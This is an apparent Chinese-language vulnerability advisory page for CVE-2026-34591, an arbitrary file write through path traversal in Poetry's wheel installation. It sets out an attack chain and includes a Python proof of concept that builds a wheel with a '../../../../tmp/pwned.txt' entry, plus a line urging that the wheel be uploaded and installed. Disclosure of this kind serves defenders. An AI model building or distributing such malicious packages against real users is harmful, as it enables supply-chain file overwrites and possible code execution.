IPBUF安全漏洞报告
English
CVE-2026-34591 CVSS 6.5 中危

CVE-2026-34591 Poetry任意文件写入漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-34591
漏洞类型
任意文件写入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Poetry

相关标签

PoetryPythonPath TraversalArbitrary File WriteCWE-22CVE-2026-34591

漏洞概述

Poetry是Python的依赖管理工具。在1.4.0至2.3.3之前的版本中,存在一个安全漏洞。攻击者可以构建包含特殊路径(如../)的恶意wheel包。当用户使用Poetry安装该包时,Poetry未对路径进行安全检查,导致将文件写入磁盘的任意位置。这可能覆盖系统关键文件或植入恶意文件,造成完整性破坏。该问题已在2.3.3版本中修复。

技术细节

该漏洞源于Poetry在处理wheel包安装时的路径解析逻辑缺陷。Wheel文件本质上是ZIP归档,其中包含Python代码和元数据。漏洞利用点在于,攻击者可以在wheel归档文件名中嵌入目录遍历序列(例如 `../../etc/passwd`)。在受影响版本中,Poetry在解压和写入文件时,没有验证最终路径是否仍然位于预期的安装目录(即沙箱)内。因此,当受害者执行 `poetry add` 或 `poetry install` 命令安装恶意包时,Poetry进程(通常以用户权限运行)会将攻击者指定的文件写入到文件系统的任意位置。虽然仅安装通常不足以直接执行代码(需要导入或调用),但通过覆盖现有的库文件、配置文件或利用特定的加载机制,攻击者可能进一步实现代码执行。

攻击链分析

STEP 1
1. 制作恶意包
攻击者创建一个特制的wheel文件,其中包含带有路径遍历字符(如../)的文件名,旨在将文件写入安装目录之外。
STEP 2
2. 分发恶意包
攻击者将此恶意wheel包上传到公共PyPI仓库或用户可能访问的私有仓库,或者直接发送给目标用户。
STEP 3
3. 诱导安装
目标用户使用受影响版本的Poetry执行安装命令(如 `poetry add malicious-package`)。
STEP 4
4. 触发漏洞
Poetry在解压wheel时,未对路径进行安全校验,直接将文件写入攻击者指定的系统任意路径(如覆盖配置文件或写入可执行脚本)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import os import zipfile # Create a malicious wheel file (simplified) malicious_wheel_name = 'malicious_package-1.0.0-py3-none-any.whl' with zipfile.ZipFile(malicious_wheel_name, 'w') as zf: # Add a file with a path traversal sequence # This will attempt to write to /tmp/pwned.txt or C:\Temp\pwned.txt data = b'This file was written by a vulnerable Poetry installation.' # Unix-like path traversal zf.writestr('../../../../tmp/pwned.txt', data) # Windows path traversal (optional, depending on target) # zf.writestr('../../../../Windows/Temp/pwned.txt', data) # Metadata to make it look somewhat valid (minimal) metadata = '''Metadata-Version: 2.1 Name: malicious-package Version: 1.0.0 ''' zf.writestr('malicious_package-1.0.0.dist-info/METADATA', metadata) record = '''../../../../tmp/pwned.txt,, malicious_package-1.0.0.dist-info/METADATA,, ''' zf.writestr('malicious_package-1.0.0.dist-info/RECORD', record) print(f'Created {malicious_wheel_name}') print('Upload this to a repository and install it with the vulnerable Poetry version.')

影响范围

1.4.0 <= Poetry < 2.3.3

防御指南

临时缓解措施
在升级之前,避免从不受信任的来源安装Python包。建议检查项目依赖项的来源,并仅使用官方或可信的仓库。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表